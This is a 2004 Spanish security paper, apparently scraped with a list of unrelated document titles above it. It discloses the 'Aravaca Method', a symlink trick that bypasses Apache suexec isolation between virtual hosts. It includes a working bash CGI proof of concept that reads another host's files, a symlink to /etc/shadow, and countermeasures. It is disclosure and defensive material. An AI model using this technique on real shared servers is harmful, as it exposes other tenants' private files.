Apache suexec Bypass. Introducción y conceptos previos. Written by frame at kernelpanik.org



Documentos relacionados
Configuración de Apache

Instituto Tecnológico de Las Américas (ITLA)

Instituto Tecnológico Las Américas (ITLA) Sistemas Operativos 3 (SO3) Daniel Alejandro Moreno Martínez. Matrícula:

#09 Apache Web Server

WEB. Laboratorio de Redes de Computadores II TEL 242. Lab. Redes II. Laboratorio de Redes de Computadores II

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

PRACTICA 9 SERVIDOR WEB APACHE SERVIDOR WEB APACHE. JEAN CARLOS FAMILIA Página 1

Internet Information Server

Guía de instalación de la Plataforma Toolkit

Instituto Tecnológico de Las América. Materia Sistemas operativos III. Temas. Facilitador José Doñe. Sustentante Robín Bienvenido Disla Ramirez

Dossier de prácticas

Instalación del servidor web Apache 2.0 Configuración del servidor web Apache 2.0 Virtual Hosting en Apache 2.0 Awstats Webalizer

qwertyuiopasdfghjklzxcvbnmqwertyuio pasdfghjklzxcvbnmqwertyuiopasdfghjk lzxcvbnmqwertyuiopasdfghjklzxcvbnm qwertyuiopasdfghjklzxcvbnmqwertyuio

Unidad 11: Servidor WEB Apache 2

Manual de instalación Sistema S.I.S.E. Versión 1.0

Manual de instalación de un Servidor Web

AGREGAR COMPONENTES ADICIONALES DE WINDOWS

CÓMO CONFIGURAR APACHE PARA CREAR UN SITIO WEB

Servidor Apache. Instalación Configuración Apache con Webmin 24/03/2014. Vicente

5.2.- Configuración de un Servidor DHCP en Windows 2003 Server

Actualizaciones de GateDefender Performa desde un servidor web local

Presentación Taller. Apache: HTTPD. JoséMiguelHerreraM. UTFSM

Manual de NetBeans y XAMPP

TECNOLOGICO DE ESTUDIOS SUPERIORES DEL ORIENTE DEL ESTADO DE MEXICO

Servidore Web Apache. Inicio del servidor Apache. Iniciar. Comando apachectl

Explotación de Sistemas Informáticos IES Murgi PRÁCTICA 9: SERVICIO WEB Y FTP DE INTERNET INFORMATION SERVICE

Ministerio de Educación,Cultura y Deporte. Aulas en Red. Windows. Módulo 2: Servicios Básicos. Directorio Activo

Servicio de Informática Vicerrectorado de Tecnologías de la Información y la Comunicación

CITRIX Citrix Application Streaming

HOWTO: Cómo configurar SNAT

Redes de área local: Aplicaciones y servicios WINDOWS

6. Servidor Web Apache. Configuración con Webmin

El servidor WEB Apache HTTPD. Tecnologías Web

Programa de Ayuda EMCS Instalación Versión SQL Server Versión Marzo 2010

Seguridad en servidores web compartidos. (LAMP)

INSTALACIÓN DE ORACLE 8i (8.1.7) SOBRE NT

Servicio de estadísticas de Alojamiento Fecha de revisión: 19/09/2005

UNIDAD DIDACTICA 16 USUARIOS SAMBA EN UN CONTROLADOR DE DOMINIO LINUX SERVER

Anexos de Bases de Presentación de Propuestas. Consultoría para la implementación de sistemas de gestión de contenidos para comunidades de RedCLARA

Ministerio de Educación. Base de datos en la Enseñanza. Open Office. Módulo 5: Report Builder

5. Crea un sitio Web seguro usando tu propio certificado digital (Windows y Linux).

LINUX WEEK 2006 SERVICIOS WEB CON DNS DINÁMICO. Diego Quintana Cruz GRUPO DE SOFTWARE PARA TELECOMUNICACIONES PUCP

REDES DE ÁREA LOCAL. APLICACIONES Y SERVICIOS EN WINDOWS

CORPORACIÓN MEXICANA DE INVESTIGACIÓN EN MATERIALES, S.A. DE CV

HOWTO: Cómo configurar DNAT para publicar los servicios internos hacia Internet

Internet Information Server

Servidor Web (Apache Httpd+PHP)

SERVIDOR WEB. Servidores web IIS (Windows) / Apache (Windows y Linux)

Guía de uso del Cloud Datacenter de acens

CONSEJO. 1.1 Instalación del paquete XAMPP bajo Windows Vista

PEDRO REVERTE GÓMEZ SERVICIOS DE RED E INTERNET / IMPLANTACIÓN DE APLICACIONES WEB 2º ASIR

Almacenamiento virtual de sitios web HOSTS VIRTUALES

Crear la base de datos antes de la instalación de Wordpress.

Squid como proxy semi-transparente.

Servicio de publicación de información web (HTTP)

REDES DE ÁREA LOCAL. APLICACIONES Y SERVICIOS EN WINDOWS

GUÍA PARA LA INSTALACIÓN DE MOODLE EN UN COMPUTADOR PERSONAL QUE USA EL SISTEMA OPERATIVO MS. WINDOWS

La herramienta es AppServ, es una solución que nos provee el software Apache, Mysql y Php, sobre Windows.

COPIAS DE SEGURIDAD AUTOMÁTICAS DE DIRECCIONES CALLEÇPAÑA

MANUAL COPIAS DE SEGURIDAD

(PHP y APACHE), y el programa de comunicación Skype, para controlar de manera

WINDOWS : COPIAS DE SEGURIDAD

SBConta.NET Manual de instalación. SBSS Consulting, S.A Barcelona Telf , fax web

INSTALACIÓN DE PROFTPD

Servidor Apache 1. Instalación de apache

EL ABC DE LA INSTALACIÓN DE DRUPAL 7

WINDOWS : TERMINAL SERVER

LILDBI-WEB. Web.. LILACS Descrípci. LILDBI-Web. Requisitos de Instalación

Ambos paquetes simplifican mucho la instalación del servidor en el equipo. Y ambos pueden ser utilizados para la creación de una red intra-aula.

Manual para la utilización de PrestaShop

La elección de Blogger como la plataforma o lugar donde

CAPITULO VI ANEXOS 6.1. ANEXO 1: CRONOGRAMA DE ACTIVADES. Gráfico 31 Cronograma de Actividades Parte1

Capítulo I. Marco Teórico

REDES DE ÁREA LOCAL. APLICACIONES Y SERVICIOS EN WINDOWS

Grupo: Documentación Tipo documento: Manual de Usuario V.1.0 /2011 René Darío Pacios Díaz

Manual de uso de la plataforma para monitores. CENTRO DE APOYO TECNOLÓGICO A EMPRENDEDORES -bilib

3. En caso de que no esté instalado hacemos lo siguiente

Contents. 1 Instalacion de Observium

Plataforma e-ducativa Aragonesa. Manual de Administración. Bitácora

En principio, comenzaremos a esbozar el menú principal que nos muestra el DVR, tal como se muestra a continuación:

Sitios remotos. Configurar un Sitio Remoto

Curso de PHP con MySQL Gratis

Instalación y Configuración de un Servidor FTP

Detectar y solucionar infecciones en un sitio web

Familia de Windows Server 2003

Servidores web. Concepto, Configuración y Usos

INSTALACIÓN DE SIESTTA 2.0 EN UN HOSTING (Ejemplo para Guebs.com)

Infraestructura Tecnológica. Sesión 8: Configurar y administrar almacenamiento virtual

Para instalar el software FacturaScripts, primero deberemos descargarlo. Para ello, accedemos a la url:

Introduccion. Utilizando WebDAV

Redes de área local: Aplicaciones y servicios WINDOWS

Modo básico de funcionamiento del módulo Velneo vmodapache V7

Módulos: Módulo 1. Hardware & Arquitectura de sistemas - 20 Horas

FTP. File Transfer Protocol. Protocolo De Transferencia De Archivo. Administración de Redes de Computadores. Ficha:

Cómo instalar fácilmente tu WordPress tras contratar un hosting en Hostalia

COMO CONFIGURAR UNA MAQUINA VIRTUAL EN VIRTUALBOX PARA ELASTIX

Hostaliawhitepapers. Redirección 301. Cardenal Gardoki, BILBAO (Vizcaya) Teléfono:

Manual de instalación

Transcripción:

Apache suexec Bypass Written by frame at kernelpanik.org Introducción y conceptos previos Actualmente la proliferación de múltiples hosts virtuales 1 albergados sobre un único sistema es un hecho. También es un hecho la ejecución de código en el servidor web. PHP, Perl, o cualquiera de los lenguajes soportados por Apache, bien sean como módulo, bien haciendo uso del Common Gateway Interface (CGI), se han convertido en algo cotididiano. Si bien, por cotidianos, no han dejado desde su aparación de plantear problemas de seguridad a muy diferentes niveles. Uno de estos niveles, sobre el que girará este documento, es el aislamiento entre los múltiples hosts virtuales, en adelante vhosts, albergados en un único servidor. Apache, por defecto, ejecuta sus peticiones, sean dinámicas o estáticas, bajo un único identificador de usuario, comunmente nobody, en función del sistema y la configuración del mismo. Ejecutar las peticiones bajo éste único usuario, algo aceptable a nivel de seguridad en servidores que no admitan ejecución de código, plantea una falta de seguridad y privacidad en aquellos que sí lo permiten de tal modo que un usuario del servidor web podrá ejecutar comandos con privilegios de lectura sobre los archivos en los que el usuario usado por Apache tenga privilegios, comunmente, y como es óbvio, todo el árbol web. Este problema, al menos hasta que el módulo Apache MPM perchild 2 esté concluido, se viene solucionando con el uso de cgi wrappers. Qué es un cgi wrapper?. De forma resumida podemos decir que es el software hacia el que se redirigen las peticiones CGI y que tiene la habilidad de cambiar el usuario con el que se ejecuta esa petición a uno definido por el administrador en función del vhost sobre el que se realice la misma, permitiendo por tanto el aislamiento entre los distintos vhost que conforman el sistema. Actualmente existe más de una solución en este sentido, por citar algunas: suexec 3, CGIWrap 4 o sbox 5. El propósito de éste documento es mostrar una técnica que permite evadir el aislamiento entre vhost impuesto por el uso de un cgi wrapper, así como presentar unas contramedidas a este problema. El cgi wrapper usado será Apache suexec, si bien, aunque no se ha comprobado de forma empírica, las técnicas aquí usadas pudieran servir para alguna o todas las restantes soluciones. La perfecta comprensión de éste texto requiere de unos conocimientos previos sobre el servidor web Apache, sus características y su sistema de configuración. 1 Apache Virtual Host documentation: http://httpd.apache.org/docs/vhosts/ 2 Apache MPM perchild: http://httpd.apache.org/docs 2.0/mod/perchild.html 3 Apache suexec Support: http://httpd.apache.org/docs/suexec.html 4 CGIWrap: http://cgiwrap.unixtools.org/ 5 sbox: http://stein.cshl.org/software/sbox/ 1

Creación y configuración del entorno de trabajo Para clarificar al máximo el presente documento y para ayudar a todos aquellos que quieran replicar el escenario usado, vamos a crear y configurar el entorno donde posteriormente llevaremos a cabo los pasos necesarios para sobrepasar la protección ofrecida por Apache suexec. El primer elemento será el servidor web. En éste caso usamos el ofrecido por Fedora Core 3, pero bien pudiera ser uno compilado por nosotros mismos. $ telnet localhost 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Thu, 25 Nov 2004 15:31:09 GMT Server: Apache/2.0.52 (Fedora) Connection: close Content-Type: text/html; charset=utf-8 El siguiente elemento será suexec, para más información sobre su instalación y configuración ver la tercera nota a pié de página situada en la página superior. # cat /var/log/httpd/error_log grep suexec [notice] suexec mechanism enabled (wrapper: /usr/sbin/suexec) También necesitamos dos vhosts configurados correctamente para hacer uso de dos usuarios distintos mediante suexec. Así mismo, definiremos un entorno de ejecución para cgi's. <VirtualHost 127.0.0.1:80> ServerAdmin victim@domain SuexecUserGroup victim victim DocumentRoot /var/www/www.victim.kpk ServerName www.victim.kpk ErrorLog logs/www.victim.kpk.error.log CustomLog logs/www.victim.kpk.log common ScriptAlias /cgi-bin /var/www/www.victim.kpk/cgi-bin/ </VirtualHost> <VirtualHost 127.0.0.1:80> ServerAdmin eviluser@domain SuexecUserGroup eviluser eviluser DocumentRoot /var/www/www.evilhost.kpk/ ServerName www.evilhost.kpk ErrorLog logs/www.evilhost.kpk.error.log CustomLog logs/www.evilhost.kpk.log common ScriptAlias /cgi-bin /var/www/www.evilhost.kpk/cgi-bin/ </VirtualHost> 2

A continuación configuramos /etc/hosts para que ambos hosts apunten a la ip del servidor web, en este caso 127.0.0.1 $ cat /etc/hosts 127.0.0.1 www.victim.kpk 127.0.0.1 www.evilhost.kpk El siguiente listado del árbol web dónde se alojan nuestros vhosts nos muestra que los permisos son 750 en ambos directorios, el propietario es el usuario de cada host, y el grupo es apache. # ls - /var/www total 8 drwxr-x--- 3 eviluser apache 4096 nov 25 17:00 www.evilhost.kpk drwxr-x--- 3 victim apache 4096 nov 25 17:00 www.victim.kpk Para finalizar colocamos un.htaccess en www.victim.kpk que deniegue el acceso a cualquier usuario, creamos index.html y comprobamos que no se puede acceder vía web. # cd /var/www/www.victim.kpk # su victim $ cat > index.html <center><h1>www.victim.kpk</h1></center> $ cat >.htaccess deny from all $ links -dump http://www.victim.kpk!acceso prohibido! Usted no tiene permiso para accesar a la direccion solicitada. Existe la posibilidad de que el directorio este protegido contra lectura o que no exista la documentacion requerida. Por favor contacte con el webmaster en caso de que usted crea que existe un error en el servidor. Error 403 www.victim.kpk Apache/2.0.52 (Fedora) Una vez definido el entorno de trabajo procedemos a pasar a la siguiente sección en la cual expondremos la citada técnica y que llamaremos a partir de ahora y en lo sucesivo Aravaca Method, con todo el respeto a los habitantes de tal localidad, y sin ningún menosprecio hacia su persona. Dicho esto, prosigamos. 3

Aravaca Method Exposed: Bypassing Apache suexec Son dos las circunstancías que permiten sobrepasar Apache suexec. La primera es el enlace simbólico y una de sus particularidades: permitir enlazar ficheros sobre los que no tenemos ningún tipo de privilegios. La segunda es que Apache por defecto sigue link simbólicos, dandonos así las herramientas necesarias para conseguir el fin propuesto. $ ln -s /etc/shadow shadow $ ls -l shadow lrwxrwxrwx 1 eviluser eviluser 11 nov 25 19:53 shadow -> /etc/shadow $ cat shadow cat: shadow: Permiso denegado # cat /etc/httpd/conf/httpd.conf grep <no_tengo_ganas_de_pensar> <Directory /> Options FollowSymLinks (..) Qué hacemos con todo ésto?. Primeramente crear un link simbólico a nuestro objetivo, y posteriormente hacer una petición web sobre el link simbólico la cual no pasará a suexec dado que los links simbólicos son contenido estático procesable por Apache. Vamos a ello. $ cd /var/www/www.evilhost.kpk/cgi-bin/ $ cat > aravaca.cgi #!/bin/bash echo "Content-type: text/html" echo "" echo "" echo "Aravaca Method Exposed: Proof of Concept<br>" echo "========================================<br>" echo "Written by frame at kernelpanik.org<br>" echo "http://www.kernelpanik.org<br><br>" echo "<*> Checking suexec ID...<br>" /usr/bin/id echo "<br><br><*> Creating symlink to victim index.html and.htaccess<br>" rm -f /var/www/www.evilhost.kpk/victim.index rm -f /var/www/www.evilhost.kpk/victim.htaccess ln -s /var/www/www.victim.kpk/index.html /var/www/www.evilhost.kpk/victim.index ln -s /var/www/www.victim.kpk/.htaccess /var/www/www.evilhost.kpk/victim.htaccess echo "<*> Accessing to victim.index and victim.htaccess<br><br>" /usr/bin/links -dump http://www.evilhost.kpk/victim.index echo "<br><br>" /usr/bin/links -dump http://www.evilhost.kpk/victim.htaccess Una vez escrito nuestro proof of concept, en este caso denominado aravaca.cgi, únicamente resta probar que todo ha funcionado correctamente, y que tenemos acceso al index.html de la victima. 4

$ links -dump http://www.evilhost.kpk/cgi-bin/aravaca.cgi Aravaca Method Exposed: Proof of Concept ======================================== Written by frame at kernelpanik.org http://www.kernelpanik.org <*> Checking suexec ID... uid=501(eviluser) gid=501(eviluser) groups=501(eviluser) <*> Creating symlink to victim index.html and.htaccess <*> Accessing to victim.index and victim.htaccess www.victim.kpk deny from all Conclusiones y contramedidas Queda demostrado que Apache suexec según la configuración por defecto suministrada por la Apache Software Foundation, y por extensión en otros ficheros de configuración, como el de Fedora Core 3, es vulnerable a lo expuesto en este documento. La medida más inmediata para su corrección es la modificación de la opción FollowSymLinks por la opción SymLinksIfOwnerMatch, siempre que sea necesario el uso de enlaces simbólicos. Se han encontrado versiones empaquetadas de Apache, por ejemplo la del paquete de Debian, las cuales sí hacen uso de la directiva SymLinksIfOwnerMatch, en detrimento de FollowSymLinks. Si la clausula AllowOverride Options está habilitada para los usuarios ninguna de estas medidas surtirá efecto puesto que el usuario malicioso podrá modificar a su antojo las opciones mediante un fihcero.htaccess construido a tal efecto. Agradecimientos A MaDj0kEr, por muchas cosas, y en este caso por la traducción. A todo Kernelpanik por haber creado este proyecto. Y a Hari Seldon, webero, gracias por tus preguntas y por nuestras charlas. Licencia Copyright (c) 2004 by Kernelpanik Labs. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.0 or later (the latest version is presently available at http://www.opencontent.org/openpub/). Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. 5